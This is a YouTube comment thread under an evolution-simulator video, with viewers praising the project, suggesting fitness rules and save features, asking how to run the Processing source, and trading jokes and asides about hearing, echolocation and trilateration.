Hello, I think your simulation is amazing and I wish you keep improving it in the future. Two suggestions I wanted to make: 1. You should kill 500 creatures after a generation and then on top of that kill by default every creature that has gotten 0 chomps (coz they starved). That way, you could increase the median more quickly. 2. In your video you were complaining about the creatures lack of speed, so later you could perhaps include a chomps-per-second score so that the creatures will be forced to be accurate and fast. Overall, amazing work. I'm hoping to see more videos from evolution sim 😄
@illuminatyc53547 жыл бұрын
Is it possible to use this SImulator on my own? :) If yes, how?
@benedictus56577 жыл бұрын
He has the Github link in the description, but i might just be too dumb to download it correctly... Processing always gives me an exception with the use of "size()", no matter where in Setup i put it. Maybe thats what he meant with it works better in Processing 2, than 3...
@benedictus56577 жыл бұрын
And btw when putting it into "Settings()" i get the message: " [21]: java.util.TimerThread.mainLoop(Timer.java:555) [22]: java.util.TimerThread.run(Timer.java:505)"
@espartanos25296 жыл бұрын
Depends on the version of Processing you are using. BTW, make sure you add a ";" after Setting();
@Ninja_Bryden7 жыл бұрын
I really want to get into the IT field and your channel really humbles me and proves how little I actually know. You're very talented!
@cranberry76017 жыл бұрын
Wow you still do evolution videos! I was binge watching your videos and it's so nice to know that you'll still eventually do that
@ataready88107 жыл бұрын
Maybe you can try where there is a time limit of say 9 seconds, and each node adds 3 secs until the ultimate limit is 30 seconds and the extra points gained are multiplied by the average of time between nodes getting 'chomped'. Then the creatures are measured by how much time they get plus extra points.that.have been multiplied by the average. This would help speed and maybe not hinder consistency.
@jodyhansen89737 жыл бұрын
what if there was a vs mode where there are two creatures and both of them have to eat the others food/life node?
@201iq86 жыл бұрын
make a battle royale bassically
@Itschotsch7 жыл бұрын
"Dunkelblau" actually means "dark blue" in German :D
@alfieperry25617 жыл бұрын
I've always wanted to comment this but forgotten by the end of the video lol
@xM0nsterFr3ak7 жыл бұрын
I also commented that it was a nice detail, but than I realized that the colors are most likly picked by random chance; still cool though XD
@NikkiTheViolist7 жыл бұрын
Oh, thank you for explaining what the video was about in the first ten seconds because I totally forgot to read the title. ;p Also, the reference photo. I needed that.
@tianamaycry6 жыл бұрын
This just gets cooler and cooler!! Keep going with a seed for a really long time if you can. Introducing new measures of fitness if possible. I really love how this displays rudementary evolutionary dynamics and how they become more complex.
@megadeth1167 жыл бұрын
You posted the video... i've got almost 11:55PM... Why did you do that to me? I need to sleep, you know...
@lavalavaa7 жыл бұрын
themegadeth116 wrong time zone lol
@mr.marino11207 жыл бұрын
themegadeth116 I know noon is soo late
@luckylucketts53217 жыл бұрын
why would you be asleep at 12pm
@want-diversecontent38877 жыл бұрын
themegadeth116 You sleep very early. So early, you don't even have dinner!
@Candy-uo8sv7 жыл бұрын
in fact humans can determine if the sound is coming from above or even behind. Our brain is using the shape of our ears to bounce the sound into our years and separate different frequencies to determine that information. i recommend watching smarter everyday's video on that. And btw our ears can not determine distance only direction, but this simulation only detects distance :)
@illbeyourfriend35557 жыл бұрын
If ears can't measure distance, explain echolocation.
@panwp1236 жыл бұрын
The echolocation creatures know when they screamed and then know how long it takes for echo ro come. That way they know distance
@burzwild22926 жыл бұрын
Echolocation works because bats speak the language of the cavewalls and they shout "Yo where do I turn" and the walls respond very efficiently. It's a symbiotic relationship as that way the walls can survive without being eroded by bat-crashing
@komolunanole86977 жыл бұрын
Please, for the sake of your own sanity. Make a function to save/load the current state, so you don't loose everything when you find a bug or something.
@DrayCrouse6 жыл бұрын
"Despite random change, bad things might happen." -carykh before the line glitch
@aoefreak33407 жыл бұрын
These evolution videos are the reason I'm subscribed to you! This one was great.
@anonanon10047 жыл бұрын
One question... I downloaded the source code and well, I can't basically use it, so how do I even use it, do I have to download all of the source code a put them all in one giant folder or did I do something wrong?
@olbluelips7 жыл бұрын
Grand dad the memelord install processing 2.0
@dariemclaughlin10127 жыл бұрын
what if you randomly paired sets of two creatures and the first one to have all of its nodes hit the ground would die so they would learn to fight each other.
@offbeat47727 жыл бұрын
Darie Mc Laughlin it would likely turn into more of an endurance contest than them making any contact with each other.
@unfa006 жыл бұрын
46:15 BTW: I believe you've meant trilateration, not triangulation. Triangulation is based on measuring angle,s trilateration is based on measuring distances instead.
@unfa006 жыл бұрын
BTW: I've made a video about this: kzbin.info/www/bejne/aoCWi4l-i6ubm9U
@lucaslucas1912025 жыл бұрын
Seriously? But don't satellites measure distance (i.e. time) instead of angles? I thought satellites used triangulation.
@Fluoman_7 жыл бұрын
At first I was like "An hour? no way i'll watch that without skipping." Not skipping was definitely worth it. I loved every second of it.
@tuppy61396 жыл бұрын
I watch all of the ads all the way through because I love this channel
@tearlach477 жыл бұрын
Evolution Simulator with fitness being recorded by how well the creature can spin a virtual fidget spinner... here comes the cringe, do-do-do-doo.
@GameonHead7 жыл бұрын
physical cringe
@xtrashocking7 жыл бұрын
*vshhhhhhhh*
@Oofmastre7 жыл бұрын
You should create a way to save your game.
@frenchfryfan83667 жыл бұрын
You should code it so that if a species has 1000 Creatures, after 10 generations it will split into 2 species! EXAMPLE: LoyalPatreon-1 and LoyalPatreon-2
@mariannmariann20525 жыл бұрын
Great idea (remember when the only species were S45?).
@The360MlgNoscoper3 жыл бұрын
@@mariannmariann2052 or S46. it actually tells us about it
@aidenhubbard55917 жыл бұрын
I loved this video. The changes in curve alongside the drops in median represented small changes in environment that caused huge drops in population and stuff really well
@NinjaGamesWorld7 жыл бұрын
I have been watching all the evolution videos, but this one is simply incredible!
@aminjeanbredimus71577 жыл бұрын
Sup, just subscribed. I believe your problem with the projectiles and such is possibly due to a low variation of what muscles are scripted to do: basically, the only motion they can do is contract and extend. If you could add twisting and changing the angle between muscles it might add more diversity and the network might find easier and more elegant ways of locomotion. Guess I'll get to modding this once I'm done with my exams, though I'll have to get into processing first.
@nathancrazy3 жыл бұрын
3 years ago. What have you done now?
@mahmoudelsharawy54057 жыл бұрын
25:45 I believe you made a typo. It is supposed to say that it DIDN'T go extinct.
@aonodensetsu7 жыл бұрын
yeah i read that twice but he said it correctly soo
@mahmoudelsharawy54057 жыл бұрын
Aonodensetsu He said that they went extinct. The point of the typed in words was to correct himself, because they did not actually go extinct.
@aonodensetsu7 жыл бұрын
well, then i heard wrong lol
@MenkoDany7 жыл бұрын
I watched the whole thing and didn't even notice
@cartererickson73957 жыл бұрын
Menko Same
@KaptenN6 жыл бұрын
This was super interesting to watch. I was smiling like crazy when the cute little critter walked along hunting 28 chumps. :D
@ze_rubenator7 жыл бұрын
You can absolutely hear if a sound is behind you or ahead of you, the shape of the ear distorts the sound differently depending on which direction the sound is coming from, and as babies we learn to decipher that EQ change. A neat little trick of evolution.
@roshannarma27877 жыл бұрын
Is it possible to merge together a few sims, and watch the sims fight each other for the top, to make more variety since near the end, they are really similar
@wojwen997 жыл бұрын
Do you consider making neural networks tutorials? I think they would be super cool!
@ryonotrio69047 жыл бұрын
Yeah!!! The simulator's back!!
@ditheraith7 жыл бұрын
52:58 that is so cool, it learned to hop and shuffle sideways instead of leaning and risking falling over.
@sekroyssektor41517 жыл бұрын
I am much more fascinated by any new video of yours I find so you should probably live with one more subscriber.
@thetrollmaster37 жыл бұрын
You should try multiplying the number of nodes off the ground by the chomps to stop their easy fix of one off the ground :)
@galiantus13547 жыл бұрын
It should be a sum of the average height of their nodes at the moment they get a chomp: S = h1+h2+h3+... That would select for more acrobatic and/or coordinated creatures.